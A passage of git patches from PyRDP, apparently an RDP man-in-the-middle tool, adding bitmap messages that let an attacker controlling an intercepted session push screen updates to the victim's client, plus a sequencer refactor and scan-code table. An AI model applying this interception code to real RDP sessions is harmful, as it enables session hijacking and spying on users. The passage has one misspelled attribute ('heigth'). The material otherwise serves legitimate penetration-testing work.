:param pixels: Array of colors organized in a left to right, top to bottom fashion: [(x0, y0), (x1, y0), ..., (x0, y1), (x1, y1)]. + """ + + super().__init__(PlayerPDUType.BITMAP, timestamp, b"") + self.width = width + self.height = height + self.pixels = pixels \ No newline at end of file From 1db2ffc05cd158a65fca4b40097bcab2eaf4571c Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 16:45:20 -0400 Subject: [PATCH 040/113] Send the current screen to the client when releasing control --- pyrdp/player/RDPMITMWidget.py | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 56df20d26..e2c5e2315 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -5,14 +5,14 @@ from typing import Optional, Union from PySide2.QtCore import QEvent, QObject, Qt -from PySide2.QtGui import QFocusEvent, QKeyEvent, QMouseEvent, QWheelEvent +from PySide2.QtGui import QKeyEvent, QMouseEvent, QWheelEvent from PySide2.QtWidgets import QWidget from pyrdp.enum import MouseButton from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES -from pyrdp.pdu import PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ - PlayerMouseWheelPDU, PlayerTextPDU +from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ + PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerTextPDU from pyrdp.player import keyboard from pyrdp.player.keyboard import isRightControl from pyrdp.player.Sequencer import Sequencer @@ -181,5 +181,21 @@ def setControlState(self, controlled: bool): self.handleEvents = controlled self.setForwardingState(not controlled) + if not controlled: + self.sendCurrentScreen() + def setForwardingState(self, shouldForward: bool): - self.layer.sendPDU(PlayerForwardingStatePDU(self.getTimetamp(), shouldForward, shouldForward)) \ No newline at end of file + self.layer.sendPDU(PlayerForwardingStatePDU(self.getTimetamp(), shouldForward, shouldForward)) + + def sendCurrentScreen(self): + width = self._buffer.width() + height = self._buffer.height() + pixels = [] + + for y in range(height): + for x in range(width): + color = self._buffer.pixelColor(x, y) + pixels.append(Color(color.red(), color.green(), color.blue(), color.alpha())) + + pdu = PlayerBitmapPDU(self.getTimetamp(), width, height, pixels) + self.layer.sendPDU(pdu) \ No newline at end of file From 4fa2ac1299e8d00f03ca3e5137ac2ff49c422d17 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 17:10:04 -0400 Subject: [PATCH 041/113] Add function to write bitmap update data --- pyrdp/parser/rdp/bitmap.py | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/pyrdp/parser/rdp/bitmap.py b/pyrdp/parser/rdp/bitmap.py index c778293d9..f34f469a5 100644 --- a/pyrdp/parser/rdp/bitmap.py +++ b/pyrdp/parser/rdp/bitmap.py @@ -31,4 +31,18 @@ def parseBitmapUpdateData(self, data: bytes) -> [BitmapUpdateData]: bitmapUpdates.append(BitmapUpdateData(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, flags, bitmapData)) - return bitmapUpdates \ No newline at end of file + return bitmapUpdates + + def writeBitmapUpdateData(self, bitmap: BitmapUpdateData) -> bytes: + stream = BytesIO() + Uint16LE.pack(bitmap.destLeft, stream) + Uint16LE.pack(bitmap.destTop, stream) + Uint16LE.pack(bitmap.destRight, stream) + Uint16LE.pack(bitmap.destBottom, stream) + Uint16LE.pack(bitmap.width, stream) + Uint16LE.pack(bitmap.heigth, stream) + Uint16LE.pack(bitmap.bitsPerPixel, stream) + Uint16LE.pack(bitmap.flags, stream) + Uint16LE.pack(len(bitmap.bitmapData), stream) + stream.write(bitmap.bitmapData) + return stream.getvalue() \ No newline at end of file From 53368cc1bdb0b0f679e7076ad794710e1225e185 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 17:57:56 -0400 Subject: [PATCH 042/113] Fix __repr__ of player bitmap PDUs --- pyrdp/pdu/player.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 45a5f6bf7..27f865d81 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -115,4 +115,10 @@ def __init__(self, timestamp: int, width: int, height: int, pixels: [Color]): super().__init__(PlayerPDUType.BITMAP, timestamp, b"") self.width = width self.height = height - self.pixels = pixels \ No newline at end of file + self.pixels = pixels + + def __repr__(self): + properties = dict(self.__dict__) + properties["pixels"] = f"[Color * {len(self.pixels)}]" + representation = self.__class__.__name__ + str(properties) + return representation \ No newline at end of file From 02eb45ca2308b3a32ac09a7a701d5d638e90d3e2 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 17:58:28 -0400 Subject: [PATCH 043/113] Fix type hinting for compression flags --- pyrdp/pdu/rdp/fastpath.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyrdp/pdu/rdp/fastpath.py b/pyrdp/pdu/rdp/fastpath.py index 684623173..c00e3dbe2 100644 --- a/pyrdp/pdu/rdp/fastpath.py +++ b/pyrdp/pdu/rdp/fastpath.py @@ -90,7 +90,7 @@ def __init__(self, text: Union[str, bytes], released: bool): class FastPathBitmapEvent(FastPathOutputEvent): - def __init__(self, header: int, compressionFlags: int, bitmapUpdateData: List[BitmapUpdateData], payload: bytes): + def __init__(self, header: int, compressionFlags: Optional[int], bitmapUpdateData: List[BitmapUpdateData], payload: bytes): super().__init__(header, compressionFlags, payload) self.bitmapUpdateData = bitmapUpdateData @@ -99,7 +99,7 @@ class FastPathOrdersEvent(FastPathOutputEvent): """ https://msdn.microsoft.com/en-us/library/cc241573.aspx """ - def __init__(self, header: int, compressionFlags: int, orderCount: int, orderData: bytes): + def __init__(self, header: int, compressionFlags: Optional[int], orderCount: int, orderData: bytes): super().__init__(header, compressionFlags) self.compressionFlags = compressionFlags self.orderCount = orderCount From 36318b30038b2691e84ac55c12fde1b92e34a5a4 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 18:25:38 -0400 Subject: [PATCH 044/113] Fix bitmap writing --- pyrdp/parser/rdp/bitmap.py | 29 ++++++++++++++++++----------- 1 file changed, 18 insertions(+), 11 deletions(-) diff --git a/pyrdp/parser/rdp/bitmap.py b/pyrdp/parser/rdp/bitmap.py index f34f469a5..cbdc122d4 100644 --- a/pyrdp/parser/rdp/bitmap.py +++ b/pyrdp/parser/rdp/bitmap.py @@ -7,6 +7,7 @@ from io import BytesIO from pyrdp.core import Uint16LE +from pyrdp.enum import FastPathOutputType from pyrdp.pdu import BitmapUpdateData @@ -33,16 +34,22 @@ def parseBitmapUpdateData(self, data: bytes) -> [BitmapUpdateData]: return bitmapUpdates - def writeBitmapUpdateData(self, bitmap: BitmapUpdateData) -> bytes: + def writeBitmapUpdateData(self, bitmaps: [BitmapUpdateData]) -> bytes: stream = BytesIO() - Uint16LE.pack(bitmap.destLeft, stream) - Uint16LE.pack(bitmap.destTop, stream) - Uint16LE.pack(bitmap.destRight, stream) - Uint16LE.pack(bitmap.destBottom, stream) - Uint16LE.pack(bitmap.width, stream) - Uint16LE.pack(bitmap.heigth, stream) - Uint16LE.pack(bitmap.bitsPerPixel, stream) - Uint16LE.pack(bitmap.flags, stream) - Uint16LE.pack(len(bitmap.bitmapData), stream) - stream.write(bitmap.bitmapData) + + Uint16LE.pack(FastPathOutputType.FASTPATH_UPDATETYPE_BITMAP, stream) + Uint16LE.pack(len(bitmaps), stream) + + for bitmap in bitmaps: + Uint16LE.pack(bitmap.destLeft, stream) + Uint16LE.pack(bitmap.destTop, stream) + Uint16LE.pack(bitmap.destRight, stream) + Uint16LE.pack(bitmap.destBottom, stream) + Uint16LE.pack(bitmap.width, stream) + Uint16LE.pack(bitmap.heigth, stream) + Uint16LE.pack(bitmap.bitsPerPixel, stream) + Uint16LE.pack(bitmap.flags, stream) + Uint16LE.pack(len(bitmap.bitmapData), stream) + stream.write(bitmap.bitmapData) + return stream.getvalue() \ No newline at end of file From 6ba0bc4d550299d2252912dce5c82dd9bd2ab11b Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 18:27:35 -0400 Subject: [PATCH 045/113] Push player bitmap events to client --- pyrdp/mitm/AttackerMITM.py | 46 +++++++++++++++++++++++++++++++++----- pyrdp/mitm/mitm.py | 2 +- 2 files changed, 42 insertions(+), 6 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 07ab805c6..6387a5901 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -3,14 +3,17 @@ # Copyright (C) 2019 GoSecure Inc. # Licensed under the GPLv3 or later. # - +from io import BytesIO from logging import LoggerAdapter -from pyrdp.enum import FastPathInputType, MouseButton, PlayerPDUType, PointerFlag +from pyrdp.core import Uint8 +from pyrdp.enum import FastPathInputType, FastPathOutputType, MouseButton, PlayerPDUType, PointerFlag from pyrdp.layer import FastPathLayer, PlayerLayer from pyrdp.mitm.MITMRecorder import MITMRecorder from pyrdp.mitm.state import RDPMITMState -from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, \ +from pyrdp.parser import BitmapParser +from pyrdp.pdu import BitmapUpdateData, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ + FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, PlayerBitmapPDU, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ PlayerPDU, PlayerTextPDU @@ -21,14 +24,17 @@ class AttackerMITM: received to the format expected by RDP. """ - def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, state: RDPMITMState, recorder: MITMRecorder): + def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, state: RDPMITMState, recorder: MITMRecorder): """ + :param client: fast-path layer for the client side :param server: fast-path layer for the server side :param attacker: player layer for the attacker side :param log: logger for this component + :param log: state of the MITM :param recorder: recorder for this connection """ + self.client = client self.server = server self.attacker = attacker self.log = log @@ -46,6 +52,7 @@ def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdap PlayerPDUType.KEYBOARD: self.handleKeyboard, PlayerPDUType.TEXT: self.handleText, PlayerPDUType.FORWARDING_STATE: self.handleForwardingState, + PlayerPDUType.BITMAP: self.handleBitmap, } @@ -59,6 +66,10 @@ def sendInputEvents(self, events: [FastPathInputEvent]): self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT, True) self.server.sendPDU(pdu) + def sendOutputEvents(self, events: [FastPathOutputEvent]): + pdu = FastPathPDU(0, events) + self.client.sendPDU(pdu) + def handleMouseMove(self, pdu: PlayerMouseMovePDU): eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 @@ -119,4 +130,29 @@ def handleText(self, pdu: PlayerTextPDU): def handleForwardingState(self, pdu: PlayerForwardingStatePDU): self.state.forwardInput = pdu.forwardInput - self.state.forwardOutput = pdu.forwardOutput \ No newline at end of file + self.state.forwardOutput = pdu.forwardOutput + + + def handleBitmap(self, pdu: PlayerBitmapPDU): + bpp = 32 + flags = 0 + + # We need to send data across multiple events because we only have 16 bits to write an event's size. + # Due to coder laziness, we're just gonna do one event per row for now. + + # RDP expects bitmap data in bottom-up, left-to-right + # See: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/84a3d4d2-5523-4e49-9a48-33952c559485 + for y in range(pdu.height - 1, -1, -1): + stream = BytesIO() + + for x in range(pdu.width): + pixel = pdu.pixels[y * pdu.width + x] + Uint8.pack(pixel.b, stream) + Uint8.pack(pixel.g, stream) + Uint8.pack(pixel.r, stream) + Uint8.pack(pixel.a, stream) + + bitmap = BitmapUpdateData(0, y, pdu.width, y + 1, pdu.width, 1, bpp, flags, stream.getvalue()) + bitmapData = BitmapParser().writeBitmapUpdateData([bitmap]) + event = FastPathBitmapEvent(FastPathOutputType.FASTPATH_UPDATETYPE_BITMAP, None, [], bitmapData) + self.sendOutputEvents([event]) diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index e2a80a052..674b31150 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -235,7 +235,7 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder) self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state) - self.attacker = AttackerMITM(self.server.fastPath, self.player.player, self.log, self.state, self.recorder) + self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder) LayerChainItem.chain(client, self.client.security, self.client.slowPath) LayerChainItem.chain(server, self.server.security, self.server.slowPath) From e45d18921ebd73267808195ecf46d537adfc3baf Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 09:41:05 -0400 Subject: [PATCH 046/113] Optimize bitmap events --- pyrdp/mitm/AttackerMITM.py | 17 +++-------------- pyrdp/parser/player.py | 6 ++---- pyrdp/pdu/player.py | 2 +- pyrdp/player/RDPMITMWidget.py | 9 +-------- 4 files changed, 7 insertions(+), 27 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 6387a5901..1a53553ab 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -137,22 +137,11 @@ def handleBitmap(self, pdu: PlayerBitmapPDU): bpp = 32 flags = 0 - # We need to send data across multiple events because we only have 16 bits to write an event's size. - # Due to coder laziness, we're just gonna do one event per row for now. - # RDP expects bitmap data in bottom-up, left-to-right # See: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/84a3d4d2-5523-4e49-9a48-33952c559485 - for y in range(pdu.height - 1, -1, -1): - stream = BytesIO() - - for x in range(pdu.width): - pixel = pdu.pixels[y * pdu.width + x] - Uint8.pack(pixel.b, stream) - Uint8.pack(pixel.g, stream) - Uint8.pack(pixel.r, stream) - Uint8.pack(pixel.a, stream) - - bitmap = BitmapUpdateData(0, y, pdu.width, y + 1, pdu.width, 1, bpp, flags, stream.getvalue()) + for y in range(pdu.height): + pixels = pdu.pixels[y * pdu.width * 4 : (y + 1) * pdu.width * 4] + bitmap = BitmapUpdateData(0, y, pdu.width, y + 1, pdu.width, 1, bpp, flags, pixels) bitmapData = BitmapParser().writeBitmapUpdateData([bitmap]) event = FastPathBitmapEvent(FastPathOutputType.FASTPATH_UPDATETYPE_BITMAP, None, [], bitmapData) self.sendOutputEvents([event]) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index e08c3fdc7..c0863ddbc 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -168,12 +168,10 @@ def writeColor(self, color: Color, stream: BytesIO): def parseBitmap(self, stream: BytesIO, timestamp: int) -> PlayerBitmapPDU: width = Uint32LE.unpack(stream) height = Uint32LE.unpack(stream) - pixels = [self.parseColor(stream) for _ in range(width * height)] + pixels = stream.read(width * height * 4) return PlayerBitmapPDU(timestamp, width, height, pixels) def writeBitmap(self, pdu: PlayerBitmapPDU, stream: BytesIO): Uint32LE.pack(pdu.width, stream) Uint32LE.pack(pdu.height, stream) - - for color in pdu.pixels: - self.writeColor(color, stream) \ No newline at end of file + stream.write(pdu.pixels) \ No newline at end of file diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 27f865d81..f814ac523 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -104,7 +104,7 @@ class PlayerBitmapPDU(PlayerPDU): PDU definition for bitmap events. """ - def __init__(self, timestamp: int, width: int, height: int, pixels: [Color]): + def __init__(self, timestamp: int, width: int, height: int, pixels: bytes): """ :param timestamp: timestamp. :param width: bitmap width. diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index e2c5e2315..d08135549 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -190,12 +190,5 @@ def setForwardingState(self, shouldForward: bool): def sendCurrentScreen(self): width = self._buffer.width() height = self._buffer.height() - pixels = [] - - for y in range(height): - for x in range(width): - color = self._buffer.pixelColor(x, y) - pixels.append(Color(color.red(), color.green(), color.blue(), color.alpha())) - - pdu = PlayerBitmapPDU(self.getTimetamp(), width, height, pixels) + pdu = PlayerBitmapPDU(self.getTimetamp(), width, height, self._buffer.bits()) self.layer.sendPDU(pdu) \ No newline at end of file From fd62148f01252046b45f4169b2d4feb38f032438 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 10:13:17 -0400 Subject: [PATCH 047/113] Refactor Sequencer into base class --- pyrdp/core/__init__.py | 14 ++------- pyrdp/core/defer.py | 17 ++++++++++ pyrdp/core/sequencer.py | 55 +++++++++++++++++++++++++++++++++ pyrdp/player/QTimerSequencer.py | 18 +++++++++++ pyrdp/player/RDPMITMWidget.py | 8 ++--- pyrdp/player/Sequencer.py | 32 ------------------- pyrdp/player/__init__.py | 4 +-- 7 files changed, 98 insertions(+), 50 deletions(-) create mode 100644 pyrdp/core/defer.py create mode 100644 pyrdp/core/sequencer.py create mode 100644 pyrdp/player/QTimerSequencer.py delete mode 100644 pyrdp/player/Sequencer.py diff --git a/pyrdp/core/__init__.py b/pyrdp/core/__init__.py index bfe85d910..aa1a48d4d 100644 --- a/pyrdp/core/__init__.py +++ b/pyrdp/core/__init__.py @@ -4,24 +4,14 @@ # Licensed under the GPLv3 or later. # +from pyrdp.core.defer import defer from pyrdp.core.event import EventEngine from pyrdp.core.helpers import decodeUTF16LE, encodeUTF16LE from pyrdp.core.observer import CompositeObserver, Observer from pyrdp.core.packing import Int16BE, Int16LE, Int32BE, Int32LE, Int8, Uint16BE, Uint16LE, Uint32BE, Uint32LE, \ Uint64LE, Uint8 +from pyrdp.core.sequencer import AsyncIOSequencer, Sequencer from pyrdp.core.stream import ByteStream, StrictStream from pyrdp.core.subject import ObservedBy, Subject from pyrdp.core.timer import Timer from pyrdp.core.twisted import AwaitableClientFactory - -import asyncio -import typing - -def defer(coroutine: typing.Union[typing.Coroutine, asyncio.Future]): - """ - Create a twisted Deferred from a coroutine or future and ensure it will run (call ensureDeferred on it). - :param coroutine: coroutine to defer. - """ - from twisted.internet.defer import ensureDeferred, Deferred - - ensureDeferred(Deferred.fromFuture(asyncio.ensure_future(coroutine))) \ No newline at end of file diff --git a/pyrdp/core/defer.py b/pyrdp/core/defer.py new file mode 100644 index 000000000..903fb9724 --- /dev/null +++ b/pyrdp/core/defer.py @@ -0,0 +1,17 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import asyncio +import typing + +def defer(coroutine: typing.Union[typing.Coroutine, asyncio.Future]): + """ + Create a twisted Deferred from a coroutine or future and ensure it will run (call ensureDeferred on it). + :param coroutine: coroutine to defer. + """ + from twisted.internet.defer import ensureDeferred, Deferred + + ensureDeferred(Deferred.fromFuture(asyncio.ensure_future(coroutine))) \ No newline at end of file diff --git a/pyrdp/core/sequencer.py b/pyrdp/core/sequencer.py new file mode 100644 index 000000000..e01b6760e --- /dev/null +++ b/pyrdp/core/sequencer.py @@ -0,0 +1,55 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import asyncio +from abc import ABCMeta, abstractmethod +from typing import Callable, List, Optional + +from pyrdp.core.defer import defer + + +class Sequencer(metaclass = ABCMeta): + """ + Class used for spreading function calls across time. + """ + + def __init__(self, functions: List[Callable[[], Optional[int]]]): + """ + :param functions: list of functions to be called, each one optionally returning an amount of time to wait for. + """ + self.functions = functions + + def run(self): + """ + Run all remaining functions. + """ + + while len(self.functions) > 0: + wait = self.functions.pop(0)() + + if wait is not None and wait > 0: + self.wait(wait) + + @abstractmethod + def wait(self, waitTime: int): + """ + Call self.run after waitTime milliseconds. + :param waitTime: milliseconds to wait for. + """ + pass + + +class AsyncIOSequencer(Sequencer): + """ + Sequencer that uses asyncio.sleep to wait between calls. + """ + + def wait(self, waitTime: int): + async def waitFunction(): + await asyncio.sleep(waitTime / 1000.0) + self.run() + + defer(waitFunction()) \ No newline at end of file diff --git a/pyrdp/player/QTimerSequencer.py b/pyrdp/player/QTimerSequencer.py new file mode 100644 index 000000000..4cbceebeb --- /dev/null +++ b/pyrdp/player/QTimerSequencer.py @@ -0,0 +1,18 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from PySide2.QtCore import QTimer + +from pyrdp.core import Sequencer + + +class QTimerSequencer(Sequencer): + """ + Sequencer that uses QTimer to wait between calls. + """ + + def wait(self, waitTime: int): + QTimer.singleShot(waitTime, self.run) \ No newline at end of file diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index d08135549..34220fefb 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -11,11 +11,11 @@ from pyrdp.enum import MouseButton from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES -from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ +from pyrdp.pdu import PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerTextPDU from pyrdp.player import keyboard from pyrdp.player.keyboard import isRightControl -from pyrdp.player.Sequencer import Sequencer +from pyrdp.player.QTimerSequencer import QTimerSequencer from pyrdp.ui import QRemoteDesktop @@ -148,7 +148,7 @@ def release(): for pdu in releasePDUs: self.layer.sendPDU(pdu) - sequencer = Sequencer([press, release]) + sequencer = QTimerSequencer([press, release]) sequencer.run() @@ -173,7 +173,7 @@ def releaseCharacter(character: str): functions.append(press) functions.append(release) - sequencer = Sequencer(functions) + sequencer = QTimerSequencer(functions) sequencer.run() diff --git a/pyrdp/player/Sequencer.py b/pyrdp/player/Sequencer.py deleted file mode 100644 index 52b03d33d..000000000 --- a/pyrdp/player/Sequencer.py +++ /dev/null @@ -1,32 +0,0 @@ -# -# This file is part of the PyRDP project. -# Copyright (C) 2019 GoSecure Inc. -# Licensed under the GPLv3 or later. -# - -from typing import List, Callable, Optional - -from PySide2.QtCore import QTimer - - -class Sequencer: - """ - Class used for spreading function calls across time. - """ - - def __init__(self, functions: List[Callable[[], Optional[int]]]): - """ - :param functions: list of functions to be called, each one optionally returning an amount of time to wait for. - """ - self.functions = functions - - def run(self): - """ - Run all remaining functions. - """ - - while len(self.functions) > 0: - wait = self.functions.pop(0)() - - if wait is not None and wait > 0: - QTimer.singleShot(wait, self.run) \ No newline at end of file diff --git a/pyrdp/player/__init__.py b/pyrdp/player/__init__.py index 60846b13d..9b1fb98c2 100644 --- a/pyrdp/player/__init__.py +++ b/pyrdp/player/__init__.py @@ -11,11 +11,11 @@ from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.MainWindow import MainWindow from pyrdp.player.PlayerHandler import PlayerHandler -from pyrdp.player.PlayerLayerSet import AsyncIOTCPLayer, TwistedPlayerLayerSet +from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet, TwistedPlayerLayerSet +from pyrdp.player.QTimerSequencer import QTimerSequencer from pyrdp.player.Replay import Replay from pyrdp.player.ReplayBar import ReplayBar from pyrdp.player.ReplayTab import ReplayTab from pyrdp.player.ReplayThread import ReplayThread, ReplayThreadEvent from pyrdp.player.ReplayWindow import ReplayWindow from pyrdp.player.SeekBar import SeekBar -from pyrdp.player.Sequencer import Sequencer \ No newline at end of file From 82f3391eca7626d9668890d64dd050470e01803c Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 11:19:45 -0400 Subject: [PATCH 048/113] Add scan code enumeration --- README.md | 1 + pyrdp/enum/scancode.py | 184 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 185 insertions(+) create mode 100644 pyrdp/enum/scancode.py diff --git a/README.md b/README.md index dfbaef53f..f6b9c0350 100644 --- a/README.md +++ b/README.md @@ -205,3 +205,4 @@ PyRDP uses code from the following open-source software: - [rdesktop](https://github.com/rdesktop/rdesktop) for bitmap decompression. - [rdpy](https://github.com/citronneur/rdpy) for RC4 keys, the bitmap decompression bindings and the base GUI code for the PyRDP player. +- [FreeRDP](https://github.com/FreeRDP/FreeRDP) for the scan code enumeration. diff --git a/pyrdp/enum/scancode.py b/pyrdp/enum/scancode.py new file mode 100644 index 000000000..affa371a8 --- /dev/null +++ b/pyrdp/enum/scancode.py @@ -0,0 +1,184 @@ +# This file was adapted from scan code definitions in FreeRDP. +# https://github.com/FreeRDP/FreeRDP/blob/master/include/freerdp/scancode.h +# +# FreeRDP: A Remote Desktop Protocol Implementation +# RDP protocol "scancodes" +# +# Copyright 2009-2012 Marc-Andre Moreau +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from collections import namedtuple + +ScanCodeTuple = namedtuple("ScanCode", "code extended") + +class ScanCode: + """ + Enumeration for RDP scan codes. Values are a tuple of (scanCode: int, isExtended: bool). + """ + + UNKNOWN = ScanCodeTuple(0x00, False) # Unknown key + ESCAPE = ScanCodeTuple(0x01, False) # VK_ESCAPE + KEY_1 = ScanCodeTuple(0x02, False) # VK_KEY_1 + KEY_2 = ScanCodeTuple(0x03, False) # VK_KEY_2 + KEY_3 = ScanCodeTuple(0x04, False) # VK_KEY_3 + KEY_4 = ScanCodeTuple(0x05, False) # VK_KEY_4 + KEY_5 = ScanCodeTuple(0x06, False) # VK_KEY_5 + KEY_6 = ScanCodeTuple(0x07, False) # VK_KEY_6 + KEY_7 = ScanCodeTuple(0x08, False) # VK_KEY_7 + KEY_8 = ScanCodeTuple(0x09, False) # VK_KEY_8 + KEY_9 = ScanCodeTuple(0x0A, False) # VK_KEY_9 + KEY_0 = ScanCodeTuple(0x0B, False) # VK_KEY_0 + OEM_MINUS = ScanCodeTuple(0x0C, False) # VK_OEM_MINUS + OEM_PLUS = ScanCodeTuple(0x0D, False) # VK_OEM_PLUS + BACKSPACE = ScanCodeTuple(0x0E, False) # VK_BACK Backspace + TAB = ScanCodeTuple(0x0F, False) # VK_TAB + KEY_Q = ScanCodeTuple(0x10, False) # VK_KEY_Q + KEY_W = ScanCodeTuple(0x11, False) # VK_KEY_W + KEY_E = ScanCodeTuple(0x12, False) # VK_KEY_E + KEY_R = ScanCodeTuple(0x13, False) # VK_KEY_R + KEY_T = ScanCodeTuple(0x14, False) # VK_KEY_T + KEY_Y = ScanCodeTuple(0x15, False) # VK_KEY_Y + KEY_U = ScanCodeTuple(0x16, False) # VK_KEY_U + KEY_I = ScanCodeTuple(0x17, False) # VK_KEY_I + KEY_O = ScanCodeTuple(0x18, False) # VK_KEY_O + KEY_P = ScanCodeTuple(0x19, False) # VK_KEY_P + OEM_4 = ScanCodeTuple(0x1A, False) # VK_OEM_4 '[' on US + OEM_6 = ScanCodeTuple(0x1B, False) # VK_OEM_6 ']' on US + RETURN = ScanCodeTuple(0x1C, False) # VK_RETURN Normal Enter + LCONTROL = ScanCodeTuple(0x1D, False) # VK_LCONTROL + KEY_A = ScanCodeTuple(0x1E, False) # VK_KEY_A + KEY_S = ScanCodeTuple(0x1F, False) # VK_KEY_S + KEY_D = ScanCodeTuple(0x20, False) # VK_KEY_D + KEY_F = ScanCodeTuple(0x21, False) # VK_KEY_F + KEY_G = ScanCodeTuple(0x22, False) # VK_KEY_G + KEY_H = ScanCodeTuple(0x23, False) # VK_KEY_H + KEY_J = ScanCodeTuple(0x24, False) # VK_KEY_J + KEY_K = ScanCodeTuple(0x25, False) # VK_KEY_K + KEY_L = ScanCodeTuple(0x26, False) # VK_KEY_L + OEM_1 = ScanCodeTuple(0x27, False) # VK_OEM_1 ';' on US + OEM_7 = ScanCodeTuple(0x28, False) # VK_OEM_7 "'" on US + OEM_3 = ScanCodeTuple(0x29, False) # VK_OEM_3 Top left, '`' on US, JP DBE_SBCSCHAR + LSHIFT = ScanCodeTuple(0x2A, False) # VK_LSHIFT + OEM_5 = ScanCodeTuple(0x2B, False) # VK_OEM_5 Next to Enter, '\' on US + KEY_Z = ScanCodeTuple(0x2C, False) # VK_KEY_Z + KEY_X = ScanCodeTuple(0x2D, False) # VK_KEY_X + KEY_C = ScanCodeTuple(0x2E, False) # VK_KEY_C + KEY_V = ScanCodeTuple(0x2F, False) # VK_KEY_V + KEY_B = ScanCodeTuple(0x30, False) # VK_KEY_B + KEY_N = ScanCodeTuple(0x31, False) # VK_KEY_N + KEY_M = ScanCodeTuple(0x32, False) # VK_KEY_M + OEM_COMMA = ScanCodeTuple(0x33, False) # VK_OEM_COMMA + OEM_PERIOD = 